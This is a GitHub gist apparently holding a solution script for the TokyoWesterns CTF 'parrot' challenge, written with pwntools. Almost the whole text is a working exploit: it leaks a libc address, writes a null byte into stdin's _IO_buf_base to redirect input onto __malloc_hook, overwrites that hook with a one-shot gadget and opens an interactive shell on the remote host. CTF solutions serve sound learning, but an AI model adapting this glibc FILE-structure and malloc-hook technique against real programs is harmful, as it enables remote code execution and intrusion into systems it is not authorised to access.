Skip to content

Instantly share code, notes, and snippets.

@sroettger
Created September 4, 2017 09:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sroettger/1f0c87bee7c5c560dabb949a4fe535a1 to your computer and use it in GitHub Desktop.
Save sroettger/1f0c87bee7c5c560dabb949a4fe535a1 to your computer and use it in GitHub Desktop.
TokyoWesterns CTF parrot challenge
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *
import time
LOCAL = False
GDB = True
GDB_SCRIPT = '''
c
'''
context.update(arch='x86_64', os='linux', terminal = ['gnome-terminal', '-e'])
if LOCAL:
BINARY = ['./parrot']
if GDB:
env = {'LD_PRELOAD': './libpreload', 'LD_LIBRARY_PATH': '.'}
r = process(BINARY, env=env)
gdb.attach(r, GDB_SCRIPT)
else:
r = process(BINARY)
else:
HOST = 'pwn2.chal.ctf.westerns.tokyo'
PORT = 31337
r = remote(HOST, PORT)
def send(data, length = None, skip_read=False):
if length == None:
length = len(data)
r.readuntil('Size:\n')
r.sendline(str(length))
r.readuntil('Buffer:\n')
r.send(data)
if not skip_read:
return r.readn(length)
def write_null(addr, data):
send(data, addr+1, True)
arena_top_off = 0x3c4b78
stdin_off = 0x3c48e0
malloc_hook = 0x3c4b10
buf_base_off = 0x38
hooks_off = 0xd8
# first leak a libc pointer with a short write
send('A'*0x60)
send('A'*0x70)
send('A'*0x80)
arena_top = u64(send('A'*1, 0x80)[8:16])
libc = arena_top - arena_top_off
print('libc at 0x{:x}'.format(libc))
# stdin
#$1 = {
# _flags = -72540021,
# _IO_read_ptr = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_read_end = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_read_base = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_write_base = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_write_ptr = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_write_end = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_buf_base = 0x7fa4bec16943 <_IO_2_1_stdin_+131> "\n",
# _IO_buf_end = 0x7fa4bec16944 <_IO_2_1_stdin_+132> "",
# _IO_save_base = 0x0,
# _IO_backup_base = 0x0,
# _IO_save_end = 0x0,
# _markers = 0x0,
# _chain = 0x0,
# _fileno = 0,
# _flags2 = 16,
# _old_offset = -1,
# _cur_column = 0,
# _vtable_offset = 0 '\000',
# _shortbuf = "\n",
# _lock = 0x7fa4bec18770 <_IO_stdfile_0_lock>,
# _offset = -1,
# _codecvt = 0x0,
# _wide_data = 0x7fa4bec169a0 <_IO_wide_data_0>,
# _freeres_list = 0x0,
# _freeres_buf = 0x0,
# __pad5 = 0,
# _mode = -1,
# _unused2 = '\000' <repeats 19 times>
#}
# write a null byte to _IO_buf_base, it will then point to _IO_write_base
# then overwrite _IO_buf_base and _IO_buf_end to point to the __malloc_hook
write_null(libc+stdin_off+buf_base_off, flat(0, 0, 0, libc+malloc_hook, libc+malloc_hook + 0x100))
# the one shot gadgets in this libc, the 4th one worked in the end
gadgets = [0x4526a, 0xcd0f3, 0xcd1c8, 0xf0274, 0xf1117, 0xf66c0]
time.sleep(1)
r.sendline('')
time.sleep(1)
r.sendline(' '*16 + flat(libc+gadgets[3]))
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment